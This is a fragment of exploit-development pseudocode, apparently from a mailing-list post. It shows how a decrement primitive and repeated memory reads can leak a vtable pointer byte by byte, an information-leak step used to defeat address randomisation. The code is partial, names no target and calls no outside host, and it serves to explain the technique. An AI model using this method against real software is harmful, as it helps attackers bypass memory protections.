vtable = ReadMem();

        old_fst_byte = vtable[0];
        old_snd_byte = vtable[1];
        old_trd_byte = vtable[2];
        old_frt_byte = vtable[3];

        // This "dec" decrements on the offset of the vtable where the
second byte is
        dec(vtable[1]);
        vtable = ReadMem();

        // Check if we actually dec the second byte
        if (vtable[1] != old_snd_byte){
            // If vtable[1] is different than the old_snd_byte, it
means that we decremented the real second byte
            // Else vtable[1] would be the next readeable byte (<0x7f)
            snd_byte = old_snd_byte;
        }
        else{
            // We didn't actually read the second byte, this means
it's value is
            // greater than 7f, so we dec 7e to the value and then
read the
            // final value and add the difference.

            // We did a dec already, so count starts on 1
            count = 1;
            for(l=0;l<0x3f;l++)
            {
                    dec(vtable[1]);
                    count++;
            }
            vtable = ReadMem();
            snd_byte = vtable[1] + count*2;
        }

        // We will do the exactly same thing for the third and fourth
byte.
        // And of course we will check with the corresponding old_byte

        // And then of course we calculate the desired vtable <span class="moz-smiley-s1" title=":)"></span>
        leaked_vtable = (old_fst_byte &lt;&lt; 24) | (snd_byte &lt;&lt; 16) |
(trd_byte &lt;&lt; 8) | frt_byte;